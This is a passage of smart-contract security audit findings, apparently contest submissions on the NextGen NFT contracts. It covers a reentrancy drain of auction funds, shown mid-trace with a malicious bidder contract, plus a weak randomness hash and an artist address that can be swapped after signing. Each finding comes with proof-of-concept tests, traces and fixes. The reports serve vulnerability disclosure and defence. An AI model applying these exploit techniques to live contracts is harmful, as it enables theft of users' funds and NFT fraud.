    │   │   ├─ emit Refund(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000001 [1e10], status: true, funds: 100000000000000000000 [1e20])
    │   │   ├─ [27963] MaliciousBidWinnerContract::fallback{value: 99999999999999999902}()
    │   │   │   ├─ [10863] auctionDemo::cancelBid(10000000001 [1e10], 1)
    │   │   │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   │   │   └─ ← 864001 [8.64e5]
    │   │   │   │   ├─ [316] MaliciousBidWinnerContract::fallback{value: 99999999999999999902}()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit CancelBid(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000001 [1e10], index: 1, status: true, funds: 99999999999999999902 [9.999e19])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()
    │   │   ├─ emit Refund(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000001 [1e10], status: true, funds: 100000000000000000000 [1e20])
    │   │   ├─ [27963] MaliciousBidWinnerContract::fallback{value: 99999999999999999903}()
    │   │   │   ├─ [10863] auctionDemo::cancelBid(10000000001 [1e10], 2)
    │   │   │   │   ├─ [508] minterMock::getAuctionEndTime(10000000001 [1e10]) [staticcall]
    │   │   │   │   │   └─ ← 864001 [8.64e5]
    │   │   │   │   ├─ [316] MaliciousBidWinnerContract::fallback{value: 99999999999999999903}()
    │   │   │   │   │   └─ ← ()
    │   │   │   │   ├─ emit CancelBid(_add: MaliciousBidWinnerContract: [0x5020029b077577Aae04d569234b7fefA73e33784], tokenid: 10000000001 [1e10], index: 2, status: true, funds: 99999999999999999903 [9.999e19])
    │   │   │   │   └─ ← ()
    │   │   │   └─ ← ()

We can see that the hacker got almost all auction contract funds taking a flashloan and without any initial funds. He also got the ownership of the NFT.

Tools Used

Manual review

Recommended Mitigation Steps

Change either claimAuction function check on https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L105 for:

require(block.timestamp > minter.getAuctionEndTime(_tokenid) && auctionClaim[_tokenid] == false && minter.getAuctionStatus(_tokenid) == true);

The block.timestamp must be only GREATER THAN the auctionEndTime. Or change the check in cancelBid function on https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/AuctionDemo.sol#L125 for:

require(block.timestamp < minter.getAuctionEndTime(_tokenid), "Auction ended");

The block.timestamp must be only LESS THAN the auctionEndTime.

It would be also recommended to update the cancelation state when claiming the auction. That would also prevent the reentrancy issue. At the moment the refund inside claimAuction function works as follows:

else if (auctionInfoData[_tokenid][i].status == true) {
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
}

Adding the updated state also solves the problem:

else if (auctionInfoData[_tokenid][i].status == true) {
                auctionInfoData[_tokenid][index].status = false;
                (bool success, ) = payable(auctionInfoData[_tokenid][i].bidder).call{value: auctionInfoData[_tokenid][i].bid}("");
                emit Refund(auctionInfoData[_tokenid][i].bidder, _tokenid, success, highestBid);
}

Assessed type

Timing

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerRNG.sol#L48-L50 https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/RandomizerVRF.sol#L65-L68

Vulnerability details

Impact

Medium impact

Bug explanation

The generated hash for the NFTs is intended to be created with the random values obtained by chainlink VRF and Arrng plus the request ID. However, all these values are not hashed together, instead are concatenated in a bytes type. At the end to get the hash value these bytes are type casted to bytes32 and the generated hash is only dependant on the first value of the numbers array.

Proof of Concept

The following test demonstrates that the first numbers of the numbers array is the only variable that determines the output hash.

    function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal pure returns(bytes32){
        return (bytes32(abi.encodePacked(numbers, id)));
    }

    function testWeirdRandomness(uint256 id, uint256[] memory numbers) public {
        vm.assume(numbers.length > 0);
        uint256 numberThatDeterminesTheHash = numbers[0];
        bytes32 hashFromTheFirstNumber = bytes32(abi.encode(numberThatDeterminesTheHash));
        bytes32 hashFromAllArguments = fulfillRandomWords(id, numbers);

        assertEq(hashFromTheFirstNumber, hashFromAllArguments);
    }

Tools Used

Manual review

Recommended Mitigation Steps

Hash together all the variables that are intended to generate the hash. For example:

function fulfillRandomWords(uint256 id, uint256[] memory numbers) internal override {
        gencoreContract.setTokenHash(tokenIdToCollection[requestToToken[id]], requestToToken[id], bytes32(keccak256(abi.encodePacked(numbers, requestToToken[id]))));
    }

Assessed type

Other

Lines of code

https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L147-L166

Vulnerability details

Impact

Medium impact

Bug explanation

In the NextGenCore contract, inside the collectionAdditonalDataStructure struct, there is the addres of the collection artist. This address is intended to be set and when the artist calls artistSignature(), this data gets locked and can not be changed anymore. However there is a way to change the artist address once the artistSiganture() has been executed. This bug happens when the function setCollectionData is set the first time. If the artist address is set together with collectionTotalSupply equal to 0 it is possible for the collection creator to change the artist address once he have called artistSignature() because the collectionTotalSupply is equal to zero and the first branch of the setCollectionData will be triggered again. See https://github.com/code-423n4/2023-10-nextgen/blob/main/smart-contracts/NextGenCore.sol#L149-L157.

Proof of Concept

The following test demonstrates how this bug can be triggered. The situation shows a case where the collection creator can sign himself the collection and then change the artist address to a reputated artist to fake that the collection has been designed by this reputated artist.

function testArtistCanBeChangedOnceItHasSignedACollection() public {
        bytes4[] memory functionAllowance = new bytes4[](2);
        // Allowed to call createCollection
        functionAllowance[0] = 0x02de55d0;
        // Allowed to call setCollectionData
        functionAllowance[1] = 0x7b5dbac5;
        admins.registerBatchFunctionAdmin(collectionCreator, functionAllowance, true);
        
        vm.startPrank(collectionCreator);

        // Collection creator creates his collection
        string[] memory randomScripts;
        core.createCollection(
            "Random Name",
            "Random Artist",
            "Random Description",
            "Random Webside",
            "Random License",
            "Random BaseURI",
            "Random Library",
            randomScripts
        );

        // Collection creator sets the collection artist address to himself together with _collectionTotalSupply set to 0
        core.setCollectionData(
            1,
            collectionCreator,
            1000,
            0,      // _collectionTotalSupply must be 0
            10000
        );

        // The collection creator can sign himself the collection because he is the artist
        core.artistSignature(1, "Signed");

        // He can now change the artist address to the address he wants. Imagine he sets the address to a really reputated artist
        core.setCollectionData(
            1,
            reputatedArtist,
            1000,
            10000,
            10000
        );

        assertEq(core.retrieveArtistAddress(1), reputatedArtist);
        assertTrue(core.artistSigned(1));
    }

The traces are the following:

Running 1 test for test/artistSignaturePOC.t.sol:artistSignaturePOC
[PASS] testArtistCanBeChangedOnceItHasSignedACollection() (gas: 484712)
Traces:
  [484712] artistSignaturePOC::testArtistCanBeChangedOnceItHasSignedACollection() 
    ├─ [48386] NextGenAdmins::registerBatchFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], [0x02de55d0, 0x7b5dbac5], true) 
    │   └─ ← ()
    ├─ [0] VM::startPrank(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd]) 
    │   └─ ← ()
    ├─ [196319] NextGenCore::createCollection(Random Name, Random Artist, Random Description, Random Webside, Random License, Random BaseURI, Random Library, []) 
    │   ├─ [856] NextGenAdmins::retrieveFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 0x02de55d0) [staticcall]
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [145585] NextGenCore::setCollectionData(1, collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 1000, 0, 10000 [1e4]) 
    │   ├─ [2638] NextGenAdmins::retrieveCollectionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 1) [staticcall]
    │   │   └─ ← false
    │   ├─ [856] NextGenAdmins::retrieveFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 0x7b5dbac5) [staticcall]
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [45935] NextGenCore::artistSignature(1, Signed) 
    │   └─ ← ()
    ├─ [25585] NextGenCore::setCollectionData(1, reputatedArtist: [0x2b8a7fAE54dc52c23807817e1CCc4BDF3D9716e4], 1000, 10000 [1e4], 10000 [1e4]) 
    │   ├─ [638] NextGenAdmins::retrieveCollectionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 1) [staticcall]
    │   │   └─ ← false
    │   ├─ [856] NextGenAdmins::retrieveFunctionAdmin(collectionCreator: [0xBB65af56260B36367cDD1A72645DF8ef6e00AACd], 0x7b5dbac5) [staticcall]
    │   │   └─ ← true
    │   └─ ← ()
    ├─ [566] NextGenCore::retrieveArtistAddress(1) [staticcall]
    │   └─ ← reputatedArtist: [0x2b8a7fAE54dc52c23807817e1CCc4BDF3D9716e4]
    ├─ [528] NextGenCore::artistSigned(1) [staticcall]
    │   └─ ← true
    └─ ← ()

Test result: ok. 1 passed; 0 failed; finished in 4.45ms

Tools Used

Manual review

Recommended Mitigation Steps

Change the condition to enter the first branch of the function setCollectionData from:

if (collectionAdditionalData[_collectionID].collectionTotalSupply == 0) {

to

if (wereDataAdded[_collectionID] == false) {

Assessed type

Invalid Validation